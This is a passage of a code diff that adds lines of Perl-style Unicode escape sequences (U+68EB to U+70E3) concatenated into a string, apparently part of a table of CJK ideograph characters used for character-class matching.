+'\x{68EB}\x{68EC}\x{68ED}\x{68EE}\x{68EF}\x{68F0}\x{68F1}\x{68F2}\x{68F3}' .
+'\x{68F4}\x{68F5}\x{68F6}\x{68F7}\x{68F8}\x{68F9}\x{68FA}\x{68FB}\x{68FC}' .
+'\x{68FD}\x{68FE}\x{68FF}\x{6901}\x{6902}\x{6903}\x{6904}\x{6905}\x{6906}' .
+'\x{6907}\x{6908}\x{690A}\x{690B}\x{690C}\x{690D}\x{690E}\x{690F}\x{6910}' .
+'\x{6911}\x{6912}\x{6913}\x{6914}\x{6915}\x{6916}\x{6917}\x{6918}\x{6919}' .
+'\x{691A}\x{691B}\x{691C}\x{691D}\x{691E}\x{691F}\x{6920}\x{6921}\x{6922}' .
+'\x{6923}\x{6924}\x{6925}\x{6926}\x{6927}\x{6928}\x{6929}\x{692A}\x{692B}' .
+'\x{692C}\x{692D}\x{692E}\x{692F}\x{6930}\x{6931}\x{6932}\x{6933}\x{6934}' .
+'\x{6935}\x{6936}\x{6937}\x{6938}\x{6939}\x{693A}\x{693B}\x{693C}\x{693D}' .
+'\x{693F}\x{6940}\x{6941}\x{6942}\x{6943}\x{6944}\x{6945}\x{6946}\x{6947}' .
+'\x{6948}\x{6949}\x{694A}\x{694B}\x{694C}\x{694E}\x{694F}\x{6950}\x{6951}' .
+'\x{6952}\x{6953}\x{6954}\x{6955}\x{6956}\x{6957}\x{6958}\x{6959}\x{695A}' .
+'\x{695B}\x{695C}\x{695D}\x{695E}\x{695F}\x{6960}\x{6961}\x{6962}\x{6963}' .
+'\x{6964}\x{6965}\x{6966}\x{6967}\x{6968}\x{6969}\x{696A}\x{696B}\x{696C}' .
+'\x{696D}\x{696E}\x{696F}\x{6970}\x{6971}\x{6972}\x{6973}\x{6974}\x{6975}' .
+'\x{6976}\x{6977}\x{6978}\x{6979}\x{697A}\x{697B}\x{697C}\x{697D}\x{697E}' .
+'\x{697F}\x{6980}\x{6981}\x{6982}\x{6983}\x{6984}\x{6985}\x{6986}\x{6987}' .
+'\x{6988}\x{6989}\x{698A}\x{698B}\x{698C}\x{698D}\x{698E}\x{698F}\x{6990}' .
+'\x{6991}\x{6992}\x{6993}\x{6994}\x{6995}\x{6996}\x{6997}\x{6998}\x{6999}' .
+'\x{699A}\x{699B}\x{699C}\x{699D}\x{699E}\x{69A0}\x{69A1}\x{69A3}\x{69A4}' .
+'\x{69A5}\x{69A6}\x{69A7}\x{69A8}\x{69A9}\x{69AA}\x{69AB}\x{69AC}\x{69AD}' .
+'\x{69AE}\x{69AF}\x{69B0}\x{69B1}\x{69B2}\x{69B3}\x{69B4}\x{69B5}\x{69B6}' .
+'\x{69B7}\x{69B8}\x{69B9}\x{69BA}\x{69BB}\x{69BC}\x{69BD}\x{69BE}\x{69BF}' .
+'\x{69C1}\x{69C2}\x{69C3}\x{69C4}\x{69C5}\x{69C6}\x{69C7}\x{69C8}\x{69C9}' .
+'\x{69CA}\x{69CB}\x{69CC}\x{69CD}\x{69CE}\x{69CF}\x{69D0}\x{69D3}\x{69D4}' .
+'\x{69D8}\x{69D9}\x{69DA}\x{69DB}\x{69DC}\x{69DD}\x{69DE}\x{69DF}\x{69E0}' .
+'\x{69E1}\x{69E2}\x{69E3}\x{69E4}\x{69E5}\x{69E6}\x{69E7}\x{69E8}\x{69E9}' .
+'\x{69EA}\x{69EB}\x{69EC}\x{69ED}\x{69EE}\x{69EF}\x{69F0}\x{69F1}\x{69F2}' .
+'\x{69F3}\x{69F4}\x{69F5}\x{69F6}\x{69F7}\x{69F8}\x{69FA}\x{69FB}\x{69FC}' .
+'\x{69FD}\x{69FE}\x{69FF}\x{6A00}\x{6A01}\x{6A02}\x{6A04}\x{6A05}\x{6A06}' .
+'\x{6A07}\x{6A08}\x{6A09}\x{6A0A}\x{6A0B}\x{6A0D}\x{6A0E}\x{6A0F}\x{6A10}' .
+'\x{6A11}\x{6A12}\x{6A13}\x{6A14}\x{6A15}\x{6A16}\x{6A17}\x{6A18}\x{6A19}' .
+'\x{6A1A}\x{6A1B}\x{6A1D}\x{6A1E}\x{6A1F}\x{6A20}\x{6A21}\x{6A22}\x{6A23}' .
+'\x{6A25}\x{6A26}\x{6A27}\x{6A28}\x{6A29}\x{6A2A}\x{6A2B}\x{6A2C}\x{6A2D}' .
+'\x{6A2E}\x{6A2F}\x{6A30}\x{6A31}\x{6A32}\x{6A33}\x{6A34}\x{6A35}\x{6A36}' .
+'\x{6A38}\x{6A39}\x{6A3A}\x{6A3B}\x{6A3C}\x{6A3D}\x{6A3E}\x{6A3F}\x{6A40}' .
+'\x{6A41}\x{6A42}\x{6A43}\x{6A44}\x{6A45}\x{6A46}\x{6A47}\x{6A48}\x{6A49}' .
+'\x{6A4B}\x{6A4C}\x{6A4D}\x{6A4E}\x{6A4F}\x{6A50}\x{6A51}\x{6A52}\x{6A54}' .
+'\x{6A55}\x{6A56}\x{6A57}\x{6A58}\x{6A59}\x{6A5A}\x{6A5B}\x{6A5D}\x{6A5E}' .
+'\x{6A5F}\x{6A60}\x{6A61}\x{6A62}\x{6A63}\x{6A64}\x{6A65}\x{6A66}\x{6A67}' .
+'\x{6A68}\x{6A69}\x{6A6A}\x{6A6B}\x{6A6C}\x{6A6D}\x{6A6F}\x{6A71}\x{6A72}' .
+'\x{6A73}\x{6A74}\x{6A75}\x{6A76}\x{6A77}\x{6A78}\x{6A79}\x{6A7A}\x{6A7B}' .
+'\x{6A7C}\x{6A7D}\x{6A7E}\x{6A7F}\x{6A80}\x{6A81}\x{6A82}\x{6A83}\x{6A84}' .
+'\x{6A85}\x{6A87}\x{6A88}\x{6A89}\x{6A8B}\x{6A8C}\x{6A8D}\x{6A8E}\x{6A90}' .
+'\x{6A91}\x{6A92}\x{6A93}\x{6A94}\x{6A95}\x{6A96}\x{6A97}\x{6A98}\x{6A9A}' .
+'\x{6A9B}\x{6A9C}\x{6A9E}\x{6A9F}\x{6AA0}\x{6AA1}\x{6AA2}\x{6AA3}\x{6AA4}' .
+'\x{6AA5}\x{6AA6}\x{6AA7}\x{6AA8}\x{6AA9}\x{6AAB}\x{6AAC}\x{6AAD}\x{6AAE}' .
+'\x{6AAF}\x{6AB0}\x{6AB2}\x{6AB3}\x{6AB4}\x{6AB5}\x{6AB6}\x{6AB7}\x{6AB8}' .
+'\x{6AB9}\x{6ABA}\x{6ABB}\x{6ABC}\x{6ABD}\x{6ABF}\x{6AC1}\x{6AC2}\x{6AC3}' .
+'\x{6AC5}\x{6AC6}\x{6AC7}\x{6ACA}\x{6ACB}\x{6ACC}\x{6ACD}\x{6ACE}\x{6ACF}' .
+'\x{6AD0}\x{6AD1}\x{6AD2}\x{6AD3}\x{6AD4}\x{6AD5}\x{6AD6}\x{6AD7}\x{6AD9}' .
+'\x{6ADA}\x{6ADB}\x{6ADC}\x{6ADD}\x{6ADE}\x{6ADF}\x{6AE0}\x{6AE1}\x{6AE2}' .
+'\x{6AE3}\x{6AE4}\x{6AE5}\x{6AE6}\x{6AE7}\x{6AE8}\x{6AEA}\x{6AEB}\x{6AEC}' .
+'\x{6AED}\x{6AEE}\x{6AEF}\x{6AF0}\x{6AF1}\x{6AF2}\x{6AF3}\x{6AF4}\x{6AF5}' .
+'\x{6AF6}\x{6AF7}\x{6AF8}\x{6AF9}\x{6AFA}\x{6AFB}\x{6AFC}\x{6AFD}\x{6AFE}' .
+'\x{6AFF}\x{6B00}\x{6B01}\x{6B02}\x{6B03}\x{6B04}\x{6B05}\x{6B06}\x{6B07}' .
+'\x{6B08}\x{6B09}\x{6B0A}\x{6B0B}\x{6B0C}\x{6B0D}\x{6B0F}\x{6B10}\x{6B11}' .
+'\x{6B12}\x{6B13}\x{6B14}\x{6B15}\x{6B16}\x{6B17}\x{6B18}\x{6B19}\x{6B1A}' .
+'\x{6B1C}\x{6B1D}\x{6B1E}\x{6B1F}\x{6B20}\x{6B21}\x{6B22}\x{6B23}\x{6B24}' .
+'\x{6B25}\x{6B26}\x{6B27}\x{6B28}\x{6B29}\x{6B2A}\x{6B2B}\x{6B2C}\x{6B2D}' .
+'\x{6B2F}\x{6B30}\x{6B31}\x{6B32}\x{6B33}\x{6B34}\x{6B36}\x{6B37}\x{6B38}' .
+'\x{6B39}\x{6B3A}\x{6B3B}\x{6B3C}\x{6B3D}\x{6B3E}\x{6B3F}\x{6B41}\x{6B42}' .
+'\x{6B43}\x{6B44}\x{6B45}\x{6B46}\x{6B47}\x{6B48}\x{6B49}\x{6B4A}\x{6B4B}' .
+'\x{6B4C}\x{6B4D}\x{6B4E}\x{6B4F}\x{6B50}\x{6B51}\x{6B52}\x{6B53}\x{6B54}' .
+'\x{6B55}\x{6B56}\x{6B59}\x{6B5A}\x{6B5B}\x{6B5C}\x{6B5E}\x{6B5F}\x{6B60}' .
+'\x{6B61}\x{6B62}\x{6B63}\x{6B64}\x{6B65}\x{6B66}\x{6B67}\x{6B69}\x{6B6A}' .
+'\x{6B6B}\x{6B6D}\x{6B6F}\x{6B70}\x{6B72}\x{6B73}\x{6B74}\x{6B76}\x{6B77}' .
+'\x{6B78}\x{6B79}\x{6B7A}\x{6B7B}\x{6B7C}\x{6B7E}\x{6B7F}\x{6B80}\x{6B81}' .
+'\x{6B82}\x{6B83}\x{6B84}\x{6B85}\x{6B86}\x{6B87}\x{6B88}\x{6B89}\x{6B8A}' .
+'\x{6B8B}\x{6B8C}\x{6B8D}\x{6B8E}\x{6B8F}\x{6B90}\x{6B91}\x{6B92}\x{6B93}' .
+'\x{6B94}\x{6B95}\x{6B96}\x{6B97}\x{6B98}\x{6B99}\x{6B9A}\x{6B9B}\x{6B9C}' .
+'\x{6B9D}\x{6B9E}\x{6B9F}\x{6BA0}\x{6BA1}\x{6BA2}\x{6BA3}\x{6BA4}\x{6BA5}' .
+'\x{6BA6}\x{6BA7}\x{6BA8}\x{6BA9}\x{6BAA}\x{6BAB}\x{6BAC}\x{6BAD}\x{6BAE}' .
+'\x{6BAF}\x{6BB0}\x{6BB2}\x{6BB3}\x{6BB4}\x{6BB5}\x{6BB6}\x{6BB7}\x{6BB9}' .
+'\x{6BBA}\x{6BBB}\x{6BBC}\x{6BBD}\x{6BBE}\x{6BBF}\x{6BC0}\x{6BC1}\x{6BC2}' .
+'\x{6BC3}\x{6BC4}\x{6BC5}\x{6BC6}\x{6BC7}\x{6BC8}\x{6BC9}\x{6BCA}\x{6BCB}' .
+'\x{6BCC}\x{6BCD}\x{6BCE}\x{6BCF}\x{6BD0}\x{6BD1}\x{6BD2}\x{6BD3}\x{6BD4}' .
+'\x{6BD5}\x{6BD6}\x{6BD7}\x{6BD8}\x{6BD9}\x{6BDA}\x{6BDB}\x{6BDC}\x{6BDD}' .
+'\x{6BDE}\x{6BDF}\x{6BE0}\x{6BE1}\x{6BE2}\x{6BE3}\x{6BE4}\x{6BE5}\x{6BE6}' .
+'\x{6BE7}\x{6BE8}\x{6BEA}\x{6BEB}\x{6BEC}\x{6BED}\x{6BEE}\x{6BEF}\x{6BF0}' .
+'\x{6BF2}\x{6BF3}\x{6BF5}\x{6BF6}\x{6BF7}\x{6BF8}\x{6BF9}\x{6BFB}\x{6BFC}' .
+'\x{6BFD}\x{6BFE}\x{6BFF}\x{6C00}\x{6C01}\x{6C02}\x{6C03}\x{6C04}\x{6C05}' .
+'\x{6C06}\x{6C07}\x{6C08}\x{6C09}\x{6C0B}\x{6C0C}\x{6C0D}\x{6C0E}\x{6C0F}' .
+'\x{6C10}\x{6C11}\x{6C12}\x{6C13}\x{6C14}\x{6C15}\x{6C16}\x{6C18}\x{6C19}' .
+'\x{6C1A}\x{6C1B}\x{6C1D}\x{6C1E}\x{6C1F}\x{6C20}\x{6C21}\x{6C22}\x{6C23}' .
+'\x{6C24}\x{6C25}\x{6C26}\x{6C27}\x{6C28}\x{6C29}\x{6C2A}\x{6C2B}\x{6C2C}' .
+'\x{6C2E}\x{6C2F}\x{6C30}\x{6C31}\x{6C32}\x{6C33}\x{6C34}\x{6C35}\x{6C36}' .
+'\x{6C37}\x{6C38}\x{6C3A}\x{6C3B}\x{6C3D}\x{6C3E}\x{6C3F}\x{6C40}\x{6C41}' .
+'\x{6C42}\x{6C43}\x{6C44}\x{6C46}\x{6C47}\x{6C48}\x{6C49}\x{6C4A}\x{6C4B}' .
+'\x{6C4C}\x{6C4D}\x{6C4E}\x{6C4F}\x{6C50}\x{6C51}\x{6C52}\x{6C53}\x{6C54}' .
+'\x{6C55}\x{6C56}\x{6C57}\x{6C58}\x{6C59}\x{6C5A}\x{6C5B}\x{6C5C}\x{6C5D}' .
+'\x{6C5E}\x{6C5F}\x{6C60}\x{6C61}\x{6C62}\x{6C63}\x{6C64}\x{6C65}\x{6C66}' .
+'\x{6C67}\x{6C68}\x{6C69}\x{6C6A}\x{6C6B}\x{6C6D}\x{6C6F}\x{6C70}\x{6C71}' .
+'\x{6C72}\x{6C73}\x{6C74}\x{6C75}\x{6C76}\x{6C77}\x{6C78}\x{6C79}\x{6C7A}' .
+'\x{6C7B}\x{6C7C}\x{6C7D}\x{6C7E}\x{6C7F}\x{6C80}\x{6C81}\x{6C82}\x{6C83}' .
+'\x{6C84}\x{6C85}\x{6C86}\x{6C87}\x{6C88}\x{6C89}\x{6C8A}\x{6C8B}\x{6C8C}' .
+'\x{6C8D}\x{6C8E}\x{6C8F}\x{6C90}\x{6C91}\x{6C92}\x{6C93}\x{6C94}\x{6C95}' .
+'\x{6C96}\x{6C97}\x{6C98}\x{6C99}\x{6C9A}\x{6C9B}\x{6C9C}\x{6C9D}\x{6C9E}' .
+'\x{6C9F}\x{6CA1}\x{6CA2}\x{6CA3}\x{6CA4}\x{6CA5}\x{6CA6}\x{6CA7}\x{6CA8}' .
+'\x{6CA9}\x{6CAA}\x{6CAB}\x{6CAC}\x{6CAD}\x{6CAE}\x{6CAF}\x{6CB0}\x{6CB1}' .
+'\x{6CB2}\x{6CB3}\x{6CB4}\x{6CB5}\x{6CB6}\x{6CB7}\x{6CB8}\x{6CB9}\x{6CBA}' .
+'\x{6CBB}\x{6CBC}\x{6CBD}\x{6CBE}\x{6CBF}\x{6CC0}\x{6CC1}\x{6CC2}\x{6CC3}' .
+'\x{6CC4}\x{6CC5}\x{6CC6}\x{6CC7}\x{6CC8}\x{6CC9}\x{6CCA}\x{6CCB}\x{6CCC}' .
+'\x{6CCD}\x{6CCE}\x{6CCF}\x{6CD0}\x{6CD1}\x{6CD2}\x{6CD3}\x{6CD4}\x{6CD5}' .
+'\x{6CD6}\x{6CD7}\x{6CD9}\x{6CDA}\x{6CDB}\x{6CDC}\x{6CDD}\x{6CDE}\x{6CDF}' .
+'\x{6CE0}\x{6CE1}\x{6CE2}\x{6CE3}\x{6CE4}\x{6CE5}\x{6CE6}\x{6CE7}\x{6CE8}' .
+'\x{6CE9}\x{6CEA}\x{6CEB}\x{6CEC}\x{6CED}\x{6CEE}\x{6CEF}\x{6CF0}\x{6CF1}' .
+'\x{6CF2}\x{6CF3}\x{6CF5}\x{6CF6}\x{6CF7}\x{6CF8}\x{6CF9}\x{6CFA}\x{6CFB}' .
+'\x{6CFC}\x{6CFD}\x{6CFE}\x{6CFF}\x{6D00}\x{6D01}\x{6D03}\x{6D04}\x{6D05}' .
+'\x{6D06}\x{6D07}\x{6D08}\x{6D09}\x{6D0A}\x{6D0B}\x{6D0C}\x{6D0D}\x{6D0E}' .
+'\x{6D0F}\x{6D10}\x{6D11}\x{6D12}\x{6D13}\x{6D14}\x{6D15}\x{6D16}\x{6D17}' .
+'\x{6D18}\x{6D19}\x{6D1A}\x{6D1B}\x{6D1D}\x{6D1E}\x{6D1F}\x{6D20}\x{6D21}' .
+'\x{6D22}\x{6D23}\x{6D25}\x{6D26}\x{6D27}\x{6D28}\x{6D29}\x{6D2A}\x{6D2B}' .
+'\x{6D2C}\x{6D2D}\x{6D2E}\x{6D2F}\x{6D30}\x{6D31}\x{6D32}\x{6D33}\x{6D34}' .
+'\x{6D35}\x{6D36}\x{6D37}\x{6D38}\x{6D39}\x{6D3A}\x{6D3B}\x{6D3C}\x{6D3D}' .
+'\x{6D3E}\x{6D3F}\x{6D40}\x{6D41}\x{6D42}\x{6D43}\x{6D44}\x{6D45}\x{6D46}' .
+'\x{6D47}\x{6D48}\x{6D49}\x{6D4A}\x{6D4B}\x{6D4C}\x{6D4D}\x{6D4E}\x{6D4F}' .
+'\x{6D50}\x{6D51}\x{6D52}\x{6D53}\x{6D54}\x{6D55}\x{6D56}\x{6D57}\x{6D58}' .
+'\x{6D59}\x{6D5A}\x{6D5B}\x{6D5C}\x{6D5D}\x{6D5E}\x{6D5F}\x{6D60}\x{6D61}' .
+'\x{6D62}\x{6D63}\x{6D64}\x{6D65}\x{6D66}\x{6D67}\x{6D68}\x{6D69}\x{6D6A}' .
+'\x{6D6B}\x{6D6C}\x{6D6D}\x{6D6E}\x{6D6F}\x{6D70}\x{6D72}\x{6D73}\x{6D74}' .
+'\x{6D75}\x{6D76}\x{6D77}\x{6D78}\x{6D79}\x{6D7A}\x{6D7B}\x{6D7C}\x{6D7D}' .
+'\x{6D7E}\x{6D7F}\x{6D80}\x{6D82}\x{6D83}\x{6D84}\x{6D85}\x{6D86}\x{6D87}' .
+'\x{6D88}\x{6D89}\x{6D8A}\x{6D8B}\x{6D8C}\x{6D8D}\x{6D8E}\x{6D8F}\x{6D90}' .
+'\x{6D91}\x{6D92}\x{6D93}\x{6D94}\x{6D95}\x{6D97}\x{6D98}\x{6D99}\x{6D9A}' .
+'\x{6D9B}\x{6D9D}\x{6D9E}\x{6D9F}\x{6DA0}\x{6DA1}\x{6DA2}\x{6DA3}\x{6DA4}' .
+'\x{6DA5}\x{6DA6}\x{6DA7}\x{6DA8}\x{6DA9}\x{6DAA}\x{6DAB}\x{6DAC}\x{6DAD}' .
+'\x{6DAE}\x{6DAF}\x{6DB2}\x{6DB3}\x{6DB4}\x{6DB5}\x{6DB7}\x{6DB8}\x{6DB9}' .
+'\x{6DBA}\x{6DBB}\x{6DBC}\x{6DBD}\x{6DBE}\x{6DBF}\x{6DC0}\x{6DC1}\x{6DC2}' .
+'\x{6DC3}\x{6DC4}\x{6DC5}\x{6DC6}\x{6DC7}\x{6DC8}\x{6DC9}\x{6DCA}\x{6DCB}' .
+'\x{6DCC}\x{6DCD}\x{6DCE}\x{6DCF}\x{6DD0}\x{6DD1}\x{6DD2}\x{6DD3}\x{6DD4}' .
+'\x{6DD5}\x{6DD6}\x{6DD7}\x{6DD8}\x{6DD9}\x{6DDA}\x{6DDB}\x{6DDC}\x{6DDD}' .
+'\x{6DDE}\x{6DDF}\x{6DE0}\x{6DE1}\x{6DE2}\x{6DE3}\x{6DE4}\x{6DE5}\x{6DE6}' .
+'\x{6DE7}\x{6DE8}\x{6DE9}\x{6DEA}\x{6DEB}\x{6DEC}\x{6DED}\x{6DEE}\x{6DEF}' .
+'\x{6DF0}\x{6DF1}\x{6DF2}\x{6DF3}\x{6DF4}\x{6DF5}\x{6DF6}\x{6DF7}\x{6DF8}' .
+'\x{6DF9}\x{6DFA}\x{6DFB}\x{6DFC}\x{6DFD}\x{6E00}\x{6E03}\x{6E04}\x{6E05}' .
+'\x{6E07}\x{6E08}\x{6E09}\x{6E0A}\x{6E0B}\x{6E0C}\x{6E0D}\x{6E0E}\x{6E0F}' .
+'\x{6E10}\x{6E11}\x{6E14}\x{6E15}\x{6E16}\x{6E17}\x{6E19}\x{6E1A}\x{6E1B}' .
+'\x{6E1C}\x{6E1D}\x{6E1E}\x{6E1F}\x{6E20}\x{6E21}\x{6E22}\x{6E23}\x{6E24}' .
+'\x{6E25}\x{6E26}\x{6E27}\x{6E28}\x{6E29}\x{6E2B}\x{6E2C}\x{6E2D}\x{6E2E}' .
+'\x{6E2F}\x{6E30}\x{6E31}\x{6E32}\x{6E33}\x{6E34}\x{6E35}\x{6E36}\x{6E37}' .
+'\x{6E38}\x{6E39}\x{6E3A}\x{6E3B}\x{6E3C}\x{6E3D}\x{6E3E}\x{6E3F}\x{6E40}' .
+'\x{6E41}\x{6E42}\x{6E43}\x{6E44}\x{6E45}\x{6E46}\x{6E47}\x{6E48}\x{6E49}' .
+'\x{6E4A}\x{6E4B}\x{6E4D}\x{6E4E}\x{6E4F}\x{6E50}\x{6E51}\x{6E52}\x{6E53}' .
+'\x{6E54}\x{6E55}\x{6E56}\x{6E57}\x{6E58}\x{6E59}\x{6E5A}\x{6E5B}\x{6E5C}' .
+'\x{6E5D}\x{6E5E}\x{6E5F}\x{6E60}\x{6E61}\x{6E62}\x{6E63}\x{6E64}\x{6E65}' .
+'\x{6E66}\x{6E67}\x{6E68}\x{6E69}\x{6E6A}\x{6E6B}\x{6E6D}\x{6E6E}\x{6E6F}' .
+'\x{6E70}\x{6E71}\x{6E72}\x{6E73}\x{6E74}\x{6E75}\x{6E77}\x{6E78}\x{6E79}' .
+'\x{6E7E}\x{6E7F}\x{6E80}\x{6E81}\x{6E82}\x{6E83}\x{6E84}\x{6E85}\x{6E86}' .
+'\x{6E87}\x{6E88}\x{6E89}\x{6E8A}\x{6E8D}\x{6E8E}\x{6E8F}\x{6E90}\x{6E91}' .
+'\x{6E92}\x{6E93}\x{6E94}\x{6E96}\x{6E97}\x{6E98}\x{6E99}\x{6E9A}\x{6E9B}' .
+'\x{6E9C}\x{6E9D}\x{6E9E}\x{6E9F}\x{6EA0}\x{6EA1}\x{6EA2}\x{6EA3}\x{6EA4}' .
+'\x{6EA5}\x{6EA6}\x{6EA7}\x{6EA8}\x{6EA9}\x{6EAA}\x{6EAB}\x{6EAC}\x{6EAD}' .
+'\x{6EAE}\x{6EAF}\x{6EB0}\x{6EB1}\x{6EB2}\x{6EB3}\x{6EB4}\x{6EB5}\x{6EB6}' .
+'\x{6EB7}\x{6EB8}\x{6EB9}\x{6EBA}\x{6EBB}\x{6EBC}\x{6EBD}\x{6EBE}\x{6EBF}' .
+'\x{6EC0}\x{6EC1}\x{6EC2}\x{6EC3}\x{6EC4}\x{6EC5}\x{6EC6}\x{6EC7}\x{6EC8}' .
+'\x{6EC9}\x{6ECA}\x{6ECB}\x{6ECC}\x{6ECD}\x{6ECE}\x{6ECF}\x{6ED0}\x{6ED1}' .
+'\x{6ED2}\x{6ED3}\x{6ED4}\x{6ED5}\x{6ED6}\x{6ED7}\x{6ED8}\x{6ED9}\x{6EDA}' .
+'\x{6EDC}\x{6EDE}\x{6EDF}\x{6EE0}\x{6EE1}\x{6EE2}\x{6EE4}\x{6EE5}\x{6EE6}' .
+'\x{6EE7}\x{6EE8}\x{6EE9}\x{6EEA}\x{6EEB}\x{6EEC}\x{6EED}\x{6EEE}\x{6EEF}' .
+'\x{6EF0}\x{6EF1}\x{6EF2}\x{6EF3}\x{6EF4}\x{6EF5}\x{6EF6}\x{6EF7}\x{6EF8}' .
+'\x{6EF9}\x{6EFA}\x{6EFB}\x{6EFC}\x{6EFD}\x{6EFE}\x{6EFF}\x{6F00}\x{6F01}' .
+'\x{6F02}\x{6F03}\x{6F05}\x{6F06}\x{6F07}\x{6F08}\x{6F09}\x{6F0A}\x{6F0C}' .
+'\x{6F0D}\x{6F0E}\x{6F0F}\x{6F10}\x{6F11}\x{6F12}\x{6F13}\x{6F14}\x{6F15}' .
+'\x{6F16}\x{6F17}\x{6F18}\x{6F19}\x{6F1A}\x{6F1B}\x{6F1C}\x{6F1D}\x{6F1E}' .
+'\x{6F1F}\x{6F20}\x{6F21}\x{6F22}\x{6F23}\x{6F24}\x{6F25}\x{6F26}\x{6F27}' .
+'\x{6F28}\x{6F29}\x{6F2A}\x{6F2B}\x{6F2C}\x{6F2D}\x{6F2E}\x{6F2F}\x{6F30}' .
+'\x{6F31}\x{6F32}\x{6F33}\x{6F34}\x{6F35}\x{6F36}\x{6F37}\x{6F38}\x{6F39}' .
+'\x{6F3A}\x{6F3B}\x{6F3C}\x{6F3D}\x{6F3E}\x{6F3F}\x{6F40}\x{6F41}\x{6F43}' .
+'\x{6F44}\x{6F45}\x{6F46}\x{6F47}\x{6F49}\x{6F4B}\x{6F4C}\x{6F4D}\x{6F4E}' .
+'\x{6F4F}\x{6F50}\x{6F51}\x{6F52}\x{6F53}\x{6F54}\x{6F55}\x{6F56}\x{6F57}' .
+'\x{6F58}\x{6F59}\x{6F5A}\x{6F5B}\x{6F5C}\x{6F5D}\x{6F5E}\x{6F5F}\x{6F60}' .
+'\x{6F61}\x{6F62}\x{6F63}\x{6F64}\x{6F65}\x{6F66}\x{6F67}\x{6F68}\x{6F69}' .
+'\x{6F6A}\x{6F6B}\x{6F6C}\x{6F6D}\x{6F6E}\x{6F6F}\x{6F70}\x{6F71}\x{6F72}' .
+'\x{6F73}\x{6F74}\x{6F75}\x{6F76}\x{6F77}\x{6F78}\x{6F7A}\x{6F7B}\x{6F7C}' .
+'\x{6F7D}\x{6F7E}\x{6F7F}\x{6F80}\x{6F81}\x{6F82}\x{6F83}\x{6F84}\x{6F85}' .
+'\x{6F86}\x{6F87}\x{6F88}\x{6F89}\x{6F8A}\x{6F8B}\x{6F8C}\x{6F8D}\x{6F8E}' .
+'\x{6F8F}\x{6F90}\x{6F91}\x{6F92}\x{6F93}\x{6F94}\x{6F95}\x{6F96}\x{6F97}' .
+'\x{6F99}\x{6F9B}\x{6F9C}\x{6F9D}\x{6F9E}\x{6FA0}\x{6FA1}\x{6FA2}\x{6FA3}' .
+'\x{6FA4}\x{6FA5}\x{6FA6}\x{6FA7}\x{6FA8}\x{6FA9}\x{6FAA}\x{6FAB}\x{6FAC}' .
+'\x{6FAD}\x{6FAE}\x{6FAF}\x{6FB0}\x{6FB1}\x{6FB2}\x{6FB3}\x{6FB4}\x{6FB5}' .
+'\x{6FB6}\x{6FB8}\x{6FB9}\x{6FBA}\x{6FBB}\x{6FBC}\x{6FBD}\x{6FBE}\x{6FBF}' .
+'\x{6FC0}\x{6FC1}\x{6FC2}\x{6FC3}\x{6FC4}\x{6FC6}\x{6FC7}\x{6FC8}\x{6FC9}' .
+'\x{6FCA}\x{6FCB}\x{6FCC}\x{6FCD}\x{6FCE}\x{6FCF}\x{6FD1}\x{6FD2}\x{6FD4}' .
+'\x{6FD5}\x{6FD6}\x{6FD7}\x{6FD8}\x{6FD9}\x{6FDA}\x{6FDB}\x{6FDC}\x{6FDD}' .
+'\x{6FDE}\x{6FDF}\x{6FE0}\x{6FE1}\x{6FE2}\x{6FE3}\x{6FE4}\x{6FE5}\x{6FE6}' .
+'\x{6FE7}\x{6FE8}\x{6FE9}\x{6FEA}\x{6FEB}\x{6FEC}\x{6FED}\x{6FEE}\x{6FEF}' .
+'\x{6FF0}\x{6FF1}\x{6FF2}\x{6FF3}\x{6FF4}\x{6FF6}\x{6FF7}\x{6FF8}\x{6FF9}' .
+'\x{6FFA}\x{6FFB}\x{6FFC}\x{6FFE}\x{6FFF}\x{7000}\x{7001}\x{7002}\x{7003}' .
+'\x{7004}\x{7005}\x{7006}\x{7007}\x{7008}\x{7009}\x{700A}\x{700B}\x{700C}' .
+'\x{700D}\x{700E}\x{700F}\x{7011}\x{7012}\x{7014}\x{7015}\x{7016}\x{7017}' .
+'\x{7018}\x{7019}\x{701A}\x{701B}\x{701C}\x{701D}\x{701F}\x{7020}\x{7021}' .
+'\x{7022}\x{7023}\x{7024}\x{7025}\x{7026}\x{7027}\x{7028}\x{7029}\x{702A}' .
+'\x{702B}\x{702C}\x{702D}\x{702E}\x{702F}\x{7030}\x{7031}\x{7032}\x{7033}' .
+'\x{7034}\x{7035}\x{7036}\x{7037}\x{7038}\x{7039}\x{703A}\x{703B}\x{703C}' .
+'\x{703D}\x{703E}\x{703F}\x{7040}\x{7041}\x{7042}\x{7043}\x{7044}\x{7045}' .
+'\x{7046}\x{7048}\x{7049}\x{704A}\x{704C}\x{704D}\x{704F}\x{7050}\x{7051}' .
+'\x{7052}\x{7053}\x{7054}\x{7055}\x{7056}\x{7057}\x{7058}\x{7059}\x{705A}' .
+'\x{705B}\x{705C}\x{705D}\x{705E}\x{705F}\x{7060}\x{7061}\x{7062}\x{7063}' .
+'\x{7064}\x{7065}\x{7066}\x{7067}\x{7068}\x{7069}\x{706A}\x{706B}\x{706C}' .
+'\x{706D}\x{706E}\x{706F}\x{7070}\x{7071}\x{7074}\x{7075}\x{7076}\x{7077}' .
+'\x{7078}\x{7079}\x{707A}\x{707C}\x{707D}\x{707E}\x{707F}\x{7080}\x{7082}' .
+'\x{7083}\x{7084}\x{7085}\x{7086}\x{7087}\x{7088}\x{7089}\x{708A}\x{708B}' .
+'\x{708C}\x{708E}\x{708F}\x{7090}\x{7091}\x{7092}\x{7093}\x{7094}\x{7095}' .
+'\x{7096}\x{7098}\x{7099}\x{709A}\x{709C}\x{709D}\x{709E}\x{709F}\x{70A0}' .
+'\x{70A1}\x{70A2}\x{70A3}\x{70A4}\x{70A5}\x{70A6}\x{70A7}\x{70A8}\x{70A9}' .
+'\x{70AB}\x{70AC}\x{70AD}\x{70AE}\x{70AF}\x{70B0}\x{70B1}\x{70B3}\x{70B4}' .
+'\x{70B5}\x{70B7}\x{70B8}\x{70B9}\x{70BA}\x{70BB}\x{70BC}\x{70BD}\x{70BE}' .
+'\x{70BF}\x{70C0}\x{70C1}\x{70C2}\x{70C3}\x{70C4}\x{70C5}\x{70C6}\x{70C7}' .
+'\x{70C8}\x{70C9}\x{70CA}\x{70CB}\x{70CC}\x{70CD}\x{70CE}\x{70CF}\x{70D0}' .
+'\x{70D1}\x{70D2}\x{70D3}\x{70D4}\x{70D6}\x{70D7}\x{70D8}\x{70D9}\x{70DA}' .
+'\x{70DB}\x{70DC}\x{70DD}\x{70DE}\x{70DF}\x{70E0}\x{70E1}\x{70E2}\x{70E3}' .
